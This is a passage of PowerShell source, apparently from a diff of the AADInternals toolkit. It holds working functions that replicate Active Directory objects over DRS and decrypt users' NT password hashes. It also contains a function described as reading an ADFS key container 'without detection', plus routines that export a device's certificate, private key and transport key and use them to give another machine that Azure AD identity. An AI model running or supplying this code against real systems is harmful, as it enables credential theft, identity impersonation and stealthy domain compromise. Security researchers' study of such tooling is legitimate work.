function Get-ADUserNTHash
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets NTHash of the given object
|
||||
|
||||
.DESCRIPTION
|
||||
Gets NTHash for the given object ID using Directory Replication Service (DRS).
|
||||
|
||||
.PARAMETER ObjectGuid
|
||||
Guid of the AD object
|
||||
|
||||
.PARAMETER Credentials
|
||||
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
|
||||
|
||||
.PARAMETER Server
|
||||
Name or ip address of the Domain Contoller.
|
||||
|
||||
.PARAMETER AsHex
|
||||
If defined, returns the NTHash as hex string.
|
||||
|
||||
.Example
|
||||
$cred = Get-Credential
|
||||
PS C:\>$NTHash = Get-AADIntAdUserNTHash -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server 192.168.0.10
|
||||
|
||||
.Example
|
||||
$cred = Get-Credential
|
||||
PS C:\>Get-AADIntAdUserNTHash -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server dc01 -AsHex
|
||||
|
||||
ed31d88da3fc9aaa850ead2161faa815
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[pscredential]$Credentials,
|
||||
[Parameter(ParameterSetName='Guid',Mandatory=$true)]
|
||||
[Guid]$ObjectGuid=[guid]::Empty,
|
||||
[Parameter(ParameterSetName='DN',Mandatory=$true)]
|
||||
[String]$DistinguishedName,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[Switch]$AsHex
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
$ADObject = Replicate-ADObject -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -DistinguishedName $DistinguishedName
|
||||
|
||||
if($ADObject.NTHash)
|
||||
{
|
||||
if($AsHex)
|
||||
{
|
||||
return Convert-ByteArrayToHex -Bytes $ADObject.NTHash
|
||||
}
|
||||
else
|
||||
{
|
||||
return $ADObject.NTHash
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Mar 21st 2021
|
||||
function Get-ADUserThumbnailPhoto
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets thumbnailPhoto of the given object
|
||||
|
||||
.DESCRIPTION
|
||||
Gets thumbnailPhoto for the given object ID using Directory Replication Service (DRS).
|
||||
Can be used to access ADFS KDS container without detection.
|
||||
|
||||
.PARAMETER ObjectGuid
|
||||
Guid of the AD object
|
||||
|
||||
.PARAMETER Credentials
|
||||
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
|
||||
|
||||
.PARAMETER Server
|
||||
Name or ip address of the Domain Contoller.
|
||||
|
||||
.PARAMETER AsHex
|
||||
If defined, returns the thumbnailPhoto as hex string.
|
||||
|
||||
.Example
|
||||
$cred = Get-Credential
|
||||
PS C:\>$photo = Get-AADIntADUserThumbnailPhoto -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server 192.168.0.10
|
||||
|
||||
.Example
|
||||
$cred = Get-Credential
|
||||
PS C:\>Get-AADIntADUserThumbnailPhoto -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server dc01 -AsHex
|
||||
|
||||
ed31d88da3fc9aaa850ead2161faa815
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
|
||||
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[pscredential]$Credentials,
|
||||
[Parameter(ParameterSetName='Guid',Mandatory=$true)]
|
||||
[Guid]$ObjectGuid=[guid]::Empty,
|
||||
[Parameter(ParameterSetName='DN',Mandatory=$true)]
|
||||
[String]$DistinguishedName,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[Switch]$AsHex
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
$ADObject = Replicate-ADObject -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -DistinguishedName $DistinguishedName
|
||||
|
||||
if($AsHex)
|
||||
{
|
||||
return Convert-ByteArrayToHex -Bytes $ADObject.ThumbnailPhoto
|
||||
}
|
||||
else
|
||||
{
|
||||
return $ADObject.ThumbnailPhoto
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Mar 21st 2021
|
||||
# Replicate a single AD object using DSInternals.Replication
|
||||
function Replicate-ADObject
|
||||
{
|
||||
[CmdletBinding()]
|
||||
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[pscredential]$Credentials,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[Guid]$ObjectGuid,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[String]$DistinguishedName
|
||||
)
|
||||
|
||||
Begin
|
||||
{
|
||||
try
|
||||
{
|
||||
# Import DSInternals dlls
|
||||
Add-Type -Path "$PSScriptRoot\DSInternals\NDceRpc.Microsoft.dll"
|
||||
Add-Type -Path "$PSScriptRoot\DSInternals\DSInternals.Replication.Interop.dll"
|
||||
Add-Type -Path "$PSScriptRoot\DSInternals\DSInternals.Replication.dll"
|
||||
|
||||
# Import native decrypt function
|
||||
$NativeDecryptSource=@"
|
||||
[DllImport("advapi32.dll", EntryPoint = "SystemFunction027", SetLastError = true)]
|
||||
public static extern uint RtlDecryptNtOwfPwdWithIndex([In] byte[] encryptedNtOwfPassword, [In] ref int index, [In, Out] byte[] ntOwfPassword);
|
||||
"@
|
||||
$NativeDecrypt = Add-Type -memberDefinition $NativeDecryptSource -passthru -name NativeDecrypt -ErrorAction SilentlyContinue
|
||||
Remove-Variable NativeDecryptSource
|
||||
}
|
||||
catch
|
||||
{
|
||||
Throw "Could not load required DLLs: $_.Exception.Message"
|
||||
}
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Connect to domain controller
|
||||
Write-Verbose "Connecting to $Server as $($Credentials.UserName)"
|
||||
$repClient = [DSInternals.Replication.DirectoryReplicationClient]::new($Server,[DSInternals.Replication.RpcProtocol]::TCP,$Credentials)
|
||||
$sessionKey = $repClient.SessionKey
|
||||
|
||||
try
|
||||
{
|
||||
# Get the AD object
|
||||
if($ObjectGuid -ne [guid]::Empty)
|
||||
{
|
||||
Write-Verbose "Getting AD object for $($ObjectGuid.ToString())"
|
||||
$object = $repClient.GetReplicaObject($ObjectGuid)
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Getting AD object for $DistinguishedName)"
|
||||
$object = $repClient.GetReplicaObject($DistinguishedName)
|
||||
}
|
||||
|
||||
Write-Verbose "Found object: $($object.DistinguishedName)"
|
||||
|
||||
# Get the attributes
|
||||
# https://github.com/vletoux/ADSecrets/blob/master/AttdIDToAttribute
|
||||
|
||||
if($object.Attributes[1441827]) # thumbnailPhoto
|
||||
{
|
||||
$thumbnailPhoto = $object.Attributes[1441827].Values[0]
|
||||
Write-Verbose " thumbnailPhoto ($($thumbnailPhoto.Count) bytes)"
|
||||
$object | Add-Member -NotePropertyName "thumbnailPhoto" -NotePropertyValue $thumbnailPhoto
|
||||
}
|
||||
|
||||
if($object.Attributes[589914]) # Decrypt the NT hash if present
|
||||
{
|
||||
$ntHash = $object.Attributes[ 589914].Values[0] # unicodePwd
|
||||
|
||||
# First round decrypt with session key
|
||||
|
||||
$salt = $ntHash[ 0..15]
|
||||
$encSecret = $ntHash[16..35]
|
||||
$md5 = [System.Security.Cryptography.MD5]::Create()
|
||||
$md5.TransformBlock($sessionKey,0, $sessionKey.Count,$null,0)
|
||||
$md5.TransformFinalBlock($salt, 0, 16)
|
||||
$rc4Key = $md5.Hash
|
||||
$encSecret = (Get-RC4 -Key $rc4Key -Data $encSecret)
|
||||
|
||||
# Second round decrypt with RID (Relative ID)
|
||||
$sid = $object.Attributes[589970].Values[0] # objectSid
|
||||
$rid = [BitConverter]::ToInt32($sid,$sid.Length - 4)
|
||||
$encSecret = $encSecret[4..19] # Strip the CRC
|
||||
$decSecret = [byte[]]::new(16)
|
||||
$NativeDecrypt::RtlDecryptNtOwfPwdWithIndex($encSecret, [ref]$rid, $decSecret)
|
||||
|
||||
Write-Verbose " NTHash: $(Convert-ByteArrayToHex -Bytes $decSecret)"
|
||||
$object | Add-Member -NotePropertyName "NTHash" -NotePropertyValue $decSecret
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
if($_.Exception.Message.Contains("RPC"))
|
||||
{
|
||||
Throw "Could not connect to $Server as $($Credentials.UserName), check the server and credentials!"
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
$repClient.Dispose()
|
||||
}
|
||||
|
||||
if(!$object)
|
||||
{
|
||||
if($ObjectGuid -ne [guid]::Empty)
|
||||
{
|
||||
Throw "No AD object found for $($ObjectGuid.ToString())"
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw "No AD object found for $DistinguishedName"
|
||||
}
|
||||
}
|
||||
|
||||
return $object
|
||||
}
|
||||
}
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
-530
@@ -1,530 +0,0 @@
|
||||
# This file contains functions for local AAD Joined devices
|
||||
|
||||
# Exports the device certificate of the local device
|
||||
# Dec 17th 2021
|
||||
function Export-LocalDeviceCertificate
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Exports the device certificate and private key of the local AAD joined/registered device.
|
||||
|
||||
.DESCRIPTION
|
||||
Exports the device certificate and private key of the local AAD joined/registered device.
|
||||
Certificate filename: <deviceid>.pfx
|
||||
Private key filename: <deviceid>.pem
|
||||
|
||||
.Example
|
||||
PS C\:>Export-AADIntLocalDeviceCertificate
|
||||
|
||||
Certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param()
|
||||
Process
|
||||
{
|
||||
# Check whether we are running in elevated session
|
||||
Test-LocalAdministrator -Warn | Out-Null
|
||||
|
||||
# Get the join info
|
||||
if(($joinInfo = Get-LocalDeviceJoinInfo) -eq $null)
|
||||
{
|
||||
Throw "Device seems not to be joined or registered."
|
||||
}
|
||||
|
||||
# Get the certificate
|
||||
Write-Verbose "Getting certificate $($joinInfo.CertThumb)"
|
||||
$certificate = Get-Item -Path $joinInfo.CertPath
|
||||
$binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
|
||||
|
||||
# Get the private key
|
||||
Write-Verbose "Device key name: $($joinInfo.KeyName)"
|
||||
|
||||
if($joinInfo.JoinType -eq "Joined")
|
||||
{
|
||||
$keyPath = "$env:ALLUSERSPROFILE"
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Warning "Accessing key in user context will FAIL if already elevated to LOCAL SYSTEM."
|
||||
$keyPath = "$env:APPDATA"
|
||||
}
|
||||
|
||||
# CryptoAPI and CNG stores keys in different directories
|
||||
# https://docs.microsoft.com/en-us/windows/win32/seccng/key-storage-and-retrieval
|
||||
$paths = @(
|
||||
"$keyPath\Microsoft\Crypto\RSA\MachineKeys\$($joinInfo.KeyName)"
|
||||
"$keyPath\Microsoft\Crypto\Keys\$($joinInfo.KeyName)"
|
||||
)
|
||||
foreach($path in $paths)
|
||||
{
|
||||
$keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue
|
||||
if($keyBlob)
|
||||
{
|
||||
Write-Verbose "Key loaded from $path"
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if(!$keyBlob)
|
||||
{
|
||||
if($joinInfo.KeyName.EndsWith(".PCPKEY"))
|
||||
{
|
||||
# This machine has a TPM
|
||||
Throw "PCP keys are not supported, unable to export private key!"
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again."
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
# Parse the key blob
|
||||
$blobType = [System.BitConverter]::ToInt32($keyBlob,0)
|
||||
switch($blobType)
|
||||
{
|
||||
1 { $deviceKey = Parse-CngBlob -Data $keyBlob -Decrypt }
|
||||
2 { $deviceKey = Parse-CapiBlob -Data $keyBlob -Decrypt }
|
||||
default { throw "Unsupported key blob type" }
|
||||
}
|
||||
|
||||
$fileName = "$($joinInfo.deviceId).pfx"
|
||||
Set-BinaryContent -Path $fileName -Value (New-PfxFile -RSAParameters $deviceKey.RSAParameters -X509Certificate $binCert)
|
||||
Write-Host "Device certificate exported to $fileName"
|
||||
}
|
||||
}
|
||||
|
||||
# Exports the transport key of the local device
|
||||
# Dec 18th 2021
|
||||
function Export-LocalDeviceTransportKey
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Exports the transport key of the local AAD joined/registered device.
|
||||
|
||||
.DESCRIPTION
|
||||
Exports the transport key of the local AAD joined/registered device.
|
||||
Filename: <deviceid>_tk.pem
|
||||
|
||||
.Example
|
||||
PS C\:>Export-AADIntLocalDeviceTransportKey
|
||||
|
||||
Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param()
|
||||
Process
|
||||
{
|
||||
# Check whether we are running in elevated session
|
||||
Test-LocalAdministrator -Warn | Out-Null
|
||||
|
||||
# Get the join info
|
||||
if(($joinInfo = Get-LocalDeviceJoinInfo) -eq $null)
|
||||
{
|
||||
Throw "Device seems not to be joined or registered."
|
||||
}
|
||||
|
||||
# Get the private key
|
||||
Write-Verbose "Getting transport key"
|
||||
$transportKeys = Get-LocalDeviceTransportKeys -JoinType $joinInfo.JoinType -IdpDomain $joinInfo.idpDomain -TenantId $joinInfo.tenantId -UserEmail $joinInfo.UserEmail
|
||||
|
||||
$fileName = "$($joinInfo.deviceId)_tk.pem"
|
||||
Set-Content $fileName -Value (Convert-RSAToPEM -RSAParameters $transportKeys.RSAParameters)
|
||||
Write-Host "Transport key exported to $fileName"
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Joins the local device to Azure AD
|
||||
# Dec 20th 2021
|
||||
function Join-LocalDeviceToAzureAD
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Joins the local Windows device to Azure AD using the given certificate.
|
||||
|
||||
.DESCRIPTION
|
||||
Joins the local Windows device to Azure AD using the given certificate created earlier with AADInternals.
|
||||
|
||||
Creates required registry keys and values, saves transport key to SystemKeys, and starts related scheduled tasks.
|
||||
|
||||
.Parameter OSVersion
|
||||
The operating system version of the device. Defaults to "10.0.18363.0"
|
||||
|
||||
.Parameter PfxFileName
|
||||
File name of the .pfx device certificate.
|
||||
|
||||
.Parameter PfxPassword
|
||||
The password of the .pfx device certificate.
|
||||
|
||||
.Parameter TransportKeyFileName
|
||||
File name of the transportkey
|
||||
|
||||
.Parameter UserPrincipalName
|
||||
The user principal name of the user.
|
||||
|
||||
.EXAMPLE
|
||||
PS\:>Export-AADIntLocalDeviceCertificate
|
||||
|
||||
Certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
|
||||
|
||||
PS C\:>Export-AADIntLocalDeviceTransportKey
|
||||
|
||||
Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
|
||||
|
||||
PS\:>Join-AADIntLocalDeviceToAzureAD -UserPrincipalName JohnD@company.com -PfxFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx -TransportKeyFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
|
||||
|
||||
Device configured. To confirm success, restart and run: dsregcmd /status
|
||||
|
||||
.EXAMPLE
|
||||
$token = Get-AADIntAccessTokenForAADJoin -SaveToCache
|
||||
PS\:>Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64"
|
||||
|
||||
Device successfully registered to Azure AD:
|
||||
DisplayName: "My computer"
|
||||
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
|
||||
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
|
||||
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
|
||||
Local SID:
|
||||
S-1-5-32-544
|
||||
Additional SIDs:
|
||||
S-1-12-1-797902961-1250002609-2090226073-616445738
|
||||
S-1-12-1-3408697635-1121971140-3092833713-2344201430
|
||||
S-1-12-1-2007802275-1256657308-2098244751-2635987013
|
||||
|
||||
PS\:>Join-AADIntLocalDeviceToAzureAD -UserPrincipalName JohnD@company.com -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx
|
||||
|
||||
Device configured. To confirm success, restart and run: dsregcmd /status
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$UserPrincipalName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$PfxFileName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PfxPassword,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$TransportKeyFileName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OSVersion = "10.0.19044.1288"
|
||||
)
|
||||
Begin
|
||||
{
|
||||
$sha256 = [System.Security.Cryptography.SHA256]::Create()
|
||||
$WAM_AAD = "B16898C6-A148-4967-9171-64D755DA8520"
|
||||
$WAM_MSA = "D7F9888F-E3FC-49b0-9EA6-A85B5F392A4F"
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Check whether we are running in elevated session
|
||||
Test-LocalAdministrator -Throw | Out-Null
|
||||
|
||||
# Import the certificate to LocalMachine's Personal store
|
||||
if($PfxPassword)
|
||||
{
|
||||
$certificate = Import-PfxCertificate -FilePath $PfxFileName -Password ($PfxPassword | ConvertTo-SecureString -AsPlainText -Force) -CertStoreLocation Cert:\LocalMachine\My -Exportable
|
||||
}
|
||||
else
|
||||
{
|
||||
$certificate = Import-PfxCertificate -FilePath $PfxFileName -CertStoreLocation Cert:\LocalMachine\My -Exportable
|
||||
}
|
||||
Write-Verbose "Certificate ($($certificate.Subject)) imported to CERT:\LocalMachine\My\$($certificate.Thumbprint)"
|
||||
|
||||
# Collect the required information
|
||||
$thumbprint = $certificate.Thumbprint
|
||||
$oids = Parse-CertificateOIDs -Certificate $certificate
|
||||
$tenantId = $oids.TenantId
|
||||
$deviceId = $oids.DeviceId
|
||||
|
||||
Write-Verbose "Thumbprint: $thumbprint"
|
||||
Write-Verbose "Device ID: $deviceId"
|
||||
Write-Verbose "Tenant ID: $tenantId"
|
||||
Write-Verbose "Auth User Obj ID: $($oids.AuthUserObjectId)"
|
||||
Write-Verbose "Region: $($oids.Region)"
|
||||
Write-Verbose "Join Type: $($oids.JoinType)"
|
||||
|
||||
if($oids.JoinType -eq 0)
|
||||
{
|
||||
# Certificates for AAD Registered devices won't work :(
|
||||
Remove-Item $certificate -Force
|
||||
Throw "Unable to join: Provided certificate is for AAD Registered device."
|
||||
}
|
||||
|
||||
# Generate P2P cert and CA & import to correct stores
|
||||
Write-Verbose "Generating P2P certificate & CA"
|
||||
New-P2PDeviceCertificate -PfxFileName $PfxFileName -TenantId $tenantId -DeviceName (Get-ComputerName)
|
||||
|
||||
$P2P = Import-PfxCertificate -FilePath ".\$($deviceId)-P2P.pfx" -CertStoreLocation "Cert:\LocalMachine\My" -Exportable
|
||||
Write-Verbose "Certificate ($($P2P.Subject)) imported to CERT:\LocalMachine\My\$($P2P.Thumbprint)"
|
||||
|
||||
if(-not (Test-Path "Cert:\LocalMachine\AAD Token Issuer"))
|
||||
{
|
||||
New-Item -Path "Cert:\LocalMachine" -Name "AAD Token Issuer" -ItemType "directory" -Force
|
||||
}
|
||||
|
||||
$P2PCA = Import-Certificate -FilePath ".\$($deviceId)-P2P-CA.der" -CertStoreLocation "Cert:\LocalMachine\AAD Token Issuer"
|
||||
Write-Verbose "Certificate ($($P2PCA.Subject)) imported to CERT:\LocalMachine\AAD Token Issuer\$($P2PCA.Thumbprint)"
|
||||
|
||||
# Generate the transport key using device id as name
|
||||
if($TransportKeyFileName)
|
||||
{
|
||||
# Use the provided tkpriv
|
||||
$tkPEM = (Get-Content $TransportKeyFileName) -join "`n"
|
||||
$tkParameters = Convert-PEMToRSA -PEM $tkPEM
|
||||
}
|
||||
else
|
||||
{
|
||||
# Use dkpriv from the certificate
|
||||
$tkParameters = $certificate.PrivateKey.ExportParameters($true)
|
||||
}
|
||||
$transportKeyName = $deviceId
|
||||
$RSAFULLPRIVATEBLOB = New-KeyBLOB -Parameters $tkParameters -Type RSA3
|
||||
|
||||
$cngParameters=[System.Security.Cryptography.CngKeyCreationParameters]::new()
|
||||
$cngParameters.KeyCreationOptions = 0x20 -bor 0x80 # Create machine key | overwrite
|
||||
$cngParameters.Parameters.Add([System.Security.Cryptography.CngProperty]::new("Length",[System.BitConverter]::GetBytes(2048),"None"))
|
||||
$cngParameters.Parameters.Add([System.Security.Cryptography.CngProperty]::new("RSAFULLPRIVATEBLOB",$RSAFULLPRIVATEBLOB,"None"))
|
||||
$cngParameters.ExportPolicy = 0x01 -bor 0x02 # Allow export, allow plaintext export
|
||||
$transportKey = [System.Security.Cryptography.CngKey]::Create("RSA",$transportKeyName,$cngParameters)
|
||||
|
||||
Write-Verbose "TransportKey name: $($transportKey.KeyName)"
|
||||
Write-Verbose "TransportKey file name: $($transportKey.UniqueName)"
|
||||
|
||||
# Copy the private key to SystemKeys folder & delete from the current location
|
||||
Copy-Item -Path "$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$($transportKey.UniqueName)" -Destination "$env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys" -Force
|
||||
Write-Verbose "Transport key stored to $env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys\$($transportKey.UniqueName)"
|
||||
$transportKey.Delete()
|
||||
|
||||
# Create the registry keys
|
||||
$CloudDomainJoinRoot = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin"
|
||||
|
||||
New-Item -Path "$CloudDomainJoinRoot" -Name "JoinInfo" -Force | Out-Null
|
||||
New-Item -Path "$CloudDomainJoinRoot\JoinInfo" -Name $thumbprint -Force | Out-Null
|
||||
New-Item -Path "$CloudDomainJoinRoot" -Name "TenantInfo" -Force | Out-Null
|
||||
New-Item -Path "$CloudDomainJoinRoot\TenantInfo" -Name $TenantId -Force | Out-Null
|
||||
|
||||
# Set join info
|
||||
$joinInfo = @{
|
||||
"IdpDomain" = "login.windows.net"
|
||||
"TenantId" = $TenantId
|
||||
"UserEmail" = $UserPrincipalName
|
||||
"AttestationLevel" = 0
|
||||
"AikCertStatus" = 0
|
||||
"TransportKeyStatus" = 0
|
||||
"DeviceDisplayName" = Get-ComputerName
|
||||
"OsVersion" = $OSVersion
|
||||
"DdidUpToDate" = 0
|
||||
"LastSyncTime" = [int]((Get-Date).ToUniversalTime()-$epoch).TotalSeconds
|
||||
}
|
||||
|
||||
Write-Verbose "Created key $CloudDomainJoinRoot\JoinInfo\$thumbprint"
|
||||
|
||||
foreach($key in $joinInfo.Keys)
|
||||
{
|
||||
Set-ItemProperty -Path "$CloudDomainJoinRoot\JoinInfo\$thumbprint" -Name $key -Value $joinInfo[$key] | Out-Null
|
||||
Write-Verbose " $key = $($joinInfo[$key])"
|
||||
|
||||
}
|
||||
|
||||
# Set tenant info
|
||||
$tenantInfo = @{
|
||||
"DisplayName" = $UserPrincipalName.split("@")[1].Split(".")[0]
|
||||
"MdmEnrollmentUrl" = ""
|
||||
"MdmTermsOfUseUrl" = ""
|
||||
"MdmComplianceUrl" = ""
|
||||
"UserSettingSyncUrl" = ""
|
||||
"DrsServiceVersion" = "1.0"
|
||||
"DrsEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svc"
|
||||
"DrsResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
|
||||
"AuthCodeUrl" = "https://login.microsoftonline.com/$tenantId/oauth2/authorize"
|
||||
"AccessTokenUrl" = "https://login.microsoftonline.com/$tenantId/oauth2/token"
|
||||
"CdjServiceVersion" = "2.0"
|
||||
"CdjEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/device/"
|
||||
"CdjResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
|
||||
"NgcServiceVersion" = "1.0"
|
||||
"NgcEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/key/"
|
||||
"NgcResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
|
||||
"WebAuthnServiceVersion" = "1.0"
|
||||
"WebAuthnEndpoint" = "https://enterpriseregistration.windows.net/webauthn/$tenantId/"
|
||||
"WebAuthnResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
|
||||
"DeviceManagementServiceVersion" = "1.0"
|
||||
"DeviceManagementEndpoint" = "https://enterpriseregistration.windows.net/manage/$tenantId/"
|
||||
"DeviceManagementResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
|
||||
"RbacPolicyEndpoint" = "https://pas.windows.net"
|
||||
}
|
||||
|
||||
Write-Verbose "Created key $CloudDomainJoinRoot\TenantInfo\$tenantId"
|
||||
foreach($key in $tenantInfo.Keys)
|
||||
{
|
||||
Set-ItemProperty -Path "$CloudDomainJoinRoot\TenantInfo\$tenantId" -Name $key -Value $tenantInfo[$key] | Out-Null
|
||||
Write-Verbose " $key = $($tenantInfo[$key])"
|
||||
|
||||
}
|
||||
|
||||
# Calculate registry key parts for transportkey
|
||||
$idp = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes("login.windows.net")))
|
||||
$tenant = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($TenantId)))
|
||||
|
||||
# Set the transport key name
|
||||
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey" -Name "" -Force | Out-Null
|
||||
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp" -Name $tenant -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp\$tenant" -Name "SoftwareKeyTransportKeyName" -Value $transportKeyName -Force | Out-Null
|
||||
|
||||
Write-Verbose "Transport key set: HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp\$tenant\SoftwareKeyTransportKeyName = $transportKeyName"
|
||||
|
||||
# Set some registry values
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityStore\LoadParameters\{$WAM_AAD}" -Name "LoginUri" -Value "https://login.microsoftonline.com" -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityStore\LoadParameters\{$WAM_AAD}" -Name "Enabled" -Value 1 | Out-Null
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Provisioning\AutopilotPolicy" -Name "AutopilotMode" -Value 0 -Force | Out-Null
|
||||
|
||||
# Restart Software Protection Platform
|
||||
Start-ScheduledTask -TaskPath "\Microsoft\Windows\SoftwareProtectionPlatform\" -TaskName "SvcRestartTask"
|
||||
Write-Verbose "Restarted Software Protection Platform task."
|
||||
|
||||
# Enable and start AAD Device-Sync
|
||||
Enable-ScheduledTask -TaskPath "\Microsoft\Windows\Workplace Join\" -TaskName "Device-Sync" | Out-Null
|
||||
Start-ScheduledTask -TaskPath "\Microsoft\Windows\Workplace Join\" -TaskName "Device-Sync"
|
||||
Write-Verbose "Enabled and started Device-Sync task."
|
||||
|
||||
# Run RegisterDeviceProtectionStateChanged
|
||||
Start-ScheduledTask -TaskPath "\Microsoft\Windows\DeviceDirectoryClient\" -TaskName "RegisterDeviceProtectionStateChanged"
|
||||
Write-Verbose "Ran RegisterDeviceProtectionStateChanged task."
|
||||
|
||||
Write-Host "Device configured. To confirm success, restart and run: dsregcmd /status"
|
||||
}
|
||||
End
|
||||
{
|
||||
$sha256.Dispose()
|
||||
}
|
||||
}
|
||||
|
||||
# Gets the join info of the local device
|
||||
# Dec 23rd 2021
|
||||
function Get-LocalDeviceJoinInfo
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Shows the Azure AD Join information of the local device.
|
||||
|
||||
.DESCRIPTION
|
||||
Shows the Azure AD Join information of the local device.
|
||||
|
||||
.Example
|
||||
PS C\:>Get-AADIntLocalDeviceJoinInfo
|
||||
|
||||
JoinType : Joined
|
||||
RegistryRoot : HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin
|
||||
CertThumb : CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
|
||||
CertPath : Cert:\LocalMachine\My\CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
|
||||
TenantId : afdb4be1-057f-4dc1-98a9-327ffa079cca
|
||||
DeviceId : f4a4ea70-b196-4305-9531-018c3bcfc112
|
||||
AuthUserObjectId : d625e2e9-8465-4513-b6c9-8d34a3735d41
|
||||
KeyName : 8bff0b7f02f6256b521de95a77d4e70d_934bc9f7-04ef-43d8-a343-610b736a4030
|
||||
KeyFriendlyName : Device Identity Key
|
||||
IdpDomain : login.windows.net
|
||||
UserEmail : JohnD@company.com
|
||||
AttestationLevel : 0
|
||||
AikCertStatus : 0
|
||||
TransportKeyStatus : 0
|
||||
DeviceDisplayName : WIN-JohnD
|
||||
OsVersion : 10.0.19044.1288
|
||||
DdidUpToDate : 0
|
||||
LastSyncTime : 1643370347
|
||||
|
||||
